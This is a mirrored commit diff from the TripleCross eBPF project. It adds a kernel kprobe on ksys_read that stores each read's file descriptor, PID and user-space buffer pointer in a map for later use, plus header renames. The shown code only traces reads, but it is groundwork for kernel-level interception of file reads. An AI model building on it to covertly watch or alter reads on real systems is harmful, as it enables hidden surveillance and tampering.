mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-22 09:43:07 +08:00
Added new kprobe to the filesystem ebpf section. Now receiving read events, and storing them in a map for later use, along with a reference to the user-space memory buffer
This commit is contained in:
@@ -1,9 +0,0 @@
|
||||
#ifndef __BPF_DEFS_H
|
||||
#define __BPF_DEFS_H
|
||||
|
||||
/*#define PT_REGS_PARM1(x) ((x)->rdi)
|
||||
#define PT_REGS_PARM2(x) ((x)->rsi)
|
||||
#define PT_REGS_PARM3(x) ((x)->rdx)
|
||||
#define PT_REGS_PARM4(x) ((x)->rcx)*/
|
||||
|
||||
#endif
|
||||
@@ -1,7 +1,7 @@
|
||||
#ifndef __FS_H
|
||||
#define __FS_H
|
||||
|
||||
#include "newnewvmlinux.h"
|
||||
#include "headervmlinux.h"
|
||||
/*#include <stdio.h>
|
||||
#include <linux/types.h>
|
||||
#include <unistd.h>
|
||||
@@ -14,18 +14,32 @@
|
||||
#include <bpf/bpf_core_read.h>
|
||||
|
||||
#include "../../../common/constants.h"
|
||||
#include "../../../common/map_defs.h"
|
||||
#include "../../../common/map_common.h"
|
||||
#include "../data/ring_buffer.h"
|
||||
#include "bpf_defs.h"
|
||||
|
||||
#define FS_MAX_SEGMENT_LENGTH 32
|
||||
#include "map_defs.h"
|
||||
#include "../utils/strings.h"
|
||||
|
||||
|
||||
SEC("kprobe/vfs_open")
|
||||
int kprobe__64_sys_read(struct pt_regs *ctx){
|
||||
//struct path *path = (struct path *)PT_REGS_PARM1(ctx);
|
||||
return 0;//fa_access_path(path);
|
||||
static __always_inline int handle_sys_read(struct pt_regs *ctx, int fd, char* buf){
|
||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
__u32 pid = pid_tgid >> 32;
|
||||
struct fs_open_data data = {
|
||||
.buf = buf,
|
||||
.fd = fd,
|
||||
.pid = pid
|
||||
};
|
||||
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
||||
bpf_printk("PID: %u, FS:%u\n", pid, fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
SEC("kprobe/ksys_read")
|
||||
int kprobe__64_sys_read(struct pt_regs *ctx) {
|
||||
struct pt_regs *rctx = ctx;
|
||||
if (!rctx) return 0;
|
||||
int fd = (int) PT_REGS_PARM1(ctx);
|
||||
char *buf = (char *) PT_REGS_PARM2(ctx);
|
||||
return handle_sys_read(ctx, fd, buf);
|
||||
}
|
||||
|
||||
#endif
|
||||
20
src/ebpf/include/bpf/map_defs.h
Normal file
20
src/ebpf/include/bpf/map_defs.h
Normal file
@@ -0,0 +1,20 @@
|
||||
#ifndef __BPF_MAP_DEFS_H
|
||||
#define __BPF_MAP_DEFS_H
|
||||
|
||||
#include "headervmlinux.h"
|
||||
|
||||
//File system
|
||||
struct fs_open_data{
|
||||
char* buf;
|
||||
int fd;
|
||||
__u32 pid;
|
||||
};
|
||||
|
||||
struct fs_open{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1024*sizeof(struct fs_open_data));
|
||||
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
||||
__type(value, struct fs_open_data);
|
||||
} fs_open SEC(".maps");
|
||||
|
||||
#endif
|
||||
@@ -7,14 +7,14 @@
|
||||
#include <string.h>
|
||||
|
||||
#include <linux/bpf.h>*/
|
||||
#include "newnewvmlinux.h"
|
||||
#include "headervmlinux.h"
|
||||
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
|
||||
#include "../../../common/constants.h"
|
||||
#include "../../../common/map_defs.h"
|
||||
#include "../../../common/map_common.h"
|
||||
#include "../data/ring_buffer.h"
|
||||
|
||||
//BPF map
|
||||
|
||||
Reference in New Issue
Block a user